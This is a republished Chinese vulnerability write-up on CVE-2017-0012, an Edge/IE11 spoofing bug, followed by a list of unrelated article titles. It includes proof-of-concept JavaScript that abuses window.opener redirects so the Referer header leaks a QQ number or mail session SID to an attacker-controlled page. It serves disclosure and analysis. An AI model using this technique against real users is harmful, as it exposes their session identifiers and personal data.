CVE-2017-0012:Microsoft Edge / IE 浏览器欺骗漏洞(昨日补丁)
来源:互联网 发布:python adodb下载 编辑:程序博客网 时间:2024/06/06 23:50
CVE-2017-0012:Microsoft Edge / IE 浏览器欺骗漏洞(昨日补丁)。2017年3月14日,也就是两天前,微软补丁日修复了Microsoft Edge 中的多个漏洞。当用户访问攻击者精心构造的网页,最严重的漏洞可能允许远程代码执行。成功利用这些漏洞的攻击者可以控制受影响的系统。其中本篇文章为漏洞发现者对CVE-2017-0012 Microsoft 浏览器欺骗漏洞进行分析。
微软官方公告:https://technet.microsoft.com/zh-cn/library/security/MS17-007http://www.shanmeng.com/com/zhuangyuan168/
影响版本
Microsoft Edge
Internet Explorer 11
漏洞分析
parent.window.opener.location可以使打开他的窗口location跳转到其他的域名,在尝试使用跨域的时候,我首先发现了这个问题,以下是我发现问题时候的测试代码。
parent.window.opener.location = 'http://www.qq.com';
我通过360SRC的友情链接打开了360的appscan.360.cn,尝试在appscan网页的控制台输入这一段JS,可以看到JS注入后,360SRC的网页变成了腾讯首页。
而就在此时我发现appscan的控制台居然报错了,并且内容属于腾讯首页的资源报错。
如图,我们发现本来不属于appscan站点的错误,显示在了appscan的控制台,随后我在Chrome、Firefox、IE8中测试发现均不存在该问题。于是第一时间就想到了跨域,会不会存在跨域问题呢?所以很快写了一段JS尝试,希望能达到跨域执行js。
function func(){
parent.window.opener.location = 'http://www.qq.com';
}
if (parent.window.opener) {
parent.window.opener.location = 'javascript:alert("xsseng")';setTimeout(func,"3000");
};
浏览器阻止了我的操作,本来问题到这里就应该结束,但是后来发现了其他的问题,当我执行以下代码的时候,我们可以看到如下的HTTP请求中的REFERER。
我们通过appscan站点执行js,referer头却是security站点,这一点是违反了W3C的标准(所有浏览器在这里的处理方式都是appscan站点),为了探究问题是否只是存在于同一个子域下,我把测试站点换到了两个完全不同的域。
利用场景
我写了一段代码,来要求i.qq.com请求我的测试站点,以获得QQ空间的来源,其中的ref.php直接输出$_SERVER["HTTP_REFERER"]。
function func(){
parent.window.opener.location = 'http://www.inetsrc.com/ref.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'http://i.qq.com';setTimeout(func,"3000");
};
会发现在测试站点中,不仅可以得到i.qq.com的请求,如果我们登陆QQ空间,那么i.qq.com会跳转到user.qzone.qq.com并且泄露了你的QQ号。那么问题不仅仅会造成更多的CSRF漏洞,如果用户登陆了邮箱,可以通过控制好setTimeout来获取可以导致用户信息泄露的参数,为此我搭建了https一个测试站点用来测试某邮箱系统,尝试读取SID。
function func(){
parent.window.opener.location = 'https://www.esqsm.com/index.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'https://mail.qq.com';setTimeout(func,"3000");
};
由于QQ邮箱配置了SSL,所以接收来源的站点也需要配置SSL。这里由于登陆了QQ邮箱,访问mail.qq.com的时候会跳转到邮箱的首页,导致location的更换,referer就泄露了用户信息。
- CVE-2017-0012:Microsoft Edge / IE 浏览器欺骗漏洞(昨日补丁)
- Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)
- Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)
- Microsoft IE 浏览器中Frameset远程拒绝服务漏洞
- 【漏洞公告】CVE-2017-8464 :Microsoft Windows LNK 远程代码执行漏洞
- Microsoft XML Core Services缓冲区溢出漏洞(CVE-2012-1889)漏洞分析报告
- CVE-2015-7547漏洞分析从原因到利用到补丁(非常适合小白)
- [漏洞] CVE-2017-1000364/CVE-2017-1000365/CVE-2017-1000366
- CVE-2015-4852 java 反序列化漏洞--weblogic补丁
- CVE-2017-12617漏洞分析
- IE XML漏洞官方补丁下载
- PHPMailer任意文件读取漏洞分析(CVE-2017-5223)
- OFFICE OLE2LINK(CVE-2017-0199)漏洞利用详解
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- CVE-2017-9805(Struts2 漏洞复现与分析)
- Tomcat远程代码执行漏洞(CVE-2017-12615)
- FFmpeg文件读取漏洞(CVE-2017-9993)
- Tomcat 远程代码执行漏洞分析(CVE-2017-12615)
- AVL二叉搜索树的Rotation
- 指针的减法运算和指针在函数间的传递
- spring整合dubbo+zookeeper搭分布式服务,简单案例
- TCP 和 UDP 的定义、区别及模拟演示
- ButterKnife使用之Activity与Fragment
- CVE-2017-0012:Microsoft Edge / IE 浏览器欺骗漏洞(昨日补丁)
- PHP之PDO连接数据库实例
- 13 Slot PCI Expansion – RAS
- 胜者树(线段树RMQ)——Luogu1816 忠诚
- Zero configuration networking in OpenWrt
- 设备中断绑定到特定CPU(SMP IRQ Affinity)
- java se 03
- 修改android默认输入法
- 解决 java 使用ssl过程中出现"PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderExcep